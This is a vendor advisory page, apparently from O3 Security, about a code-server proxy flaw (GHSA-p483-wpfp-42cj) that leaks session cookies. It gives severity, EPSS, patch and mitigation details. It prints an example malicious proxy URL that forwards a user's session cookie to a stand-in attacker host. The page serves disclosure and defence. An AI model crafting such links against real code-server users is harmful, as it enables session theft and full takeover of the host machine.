What is GHSA-p483-wpfp-42cj?

### Summary A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token. ### Details Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https:// /proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. ### Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.

How severe is GHSA-p483-wpfp-42cj?

GHSA-p483-wpfp-42cj has a CVSS score of 8.3/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-p483-wpfp-42cj?

GHSA-p483-wpfp-42cj affects the following packages: code-server (npm). Ecosystems affected: npm.

How do I fix GHSA-p483-wpfp-42cj?

Update code-server to 4.99.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p483-wpfp-42cj is resolved across your whole dependency graph.

How do I detect GHSA-p483-wpfp-42cj in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-p483-wpfp-42cj if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-p483-wpfp-42cj?

O3 pinpoints whether GHSA-p483-wpfp-42cj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-p483-wpfp-42cj actively exploited in the wild?

No public exploit code has been indexed for GHSA-p483-wpfp-42cj yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-p483-wpfp-42cj?

GHSA-p483-wpfp-42cj has an EPSS (Exploit Prediction Scoring System) score of 34.3%, placing it in the 98th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score warrants monitoring and prompt remediation.

What type of vulnerability is GHSA-p483-wpfp-42cj?

GHSA-p483-wpfp-42cj is classified as CWE-441 (CWE-441). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-p483-wpfp-42cj published, and has it been updated?

GHSA-p483-wpfp-42cj was published on May 9, 2025 and was last updated on February 4, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-p483-wpfp-42cj

HIGH

code-server's session cookie can be extracted by having user visit specially crafted proxy URL

Also known asCVE-2025-47269

Published

May 9, 2025

Updated

Feb 4, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

34.3%probability of exploitation in next 30 days

Moderate Risk98th percentile+33.94%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

📦code-server

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/[email protected]/path would be proxied to [email protected]/path where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`code-server`	all versions	4.99.4

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code-server to 4.99.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p483-wpfp-42cj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-p483-wpfp-42cj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-p483-wpfp-42cj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token. ### Details Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/[email protected]/path` would be proxied to `[email protected]/path` where the attacker could exfiltrate a user's session token. ### Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.

O3 Security · Impact-Aware SCA

Is GHSA-p483-wpfp-42cj in your dependencies?

O3 detects GHSA-p483-wpfp-42cj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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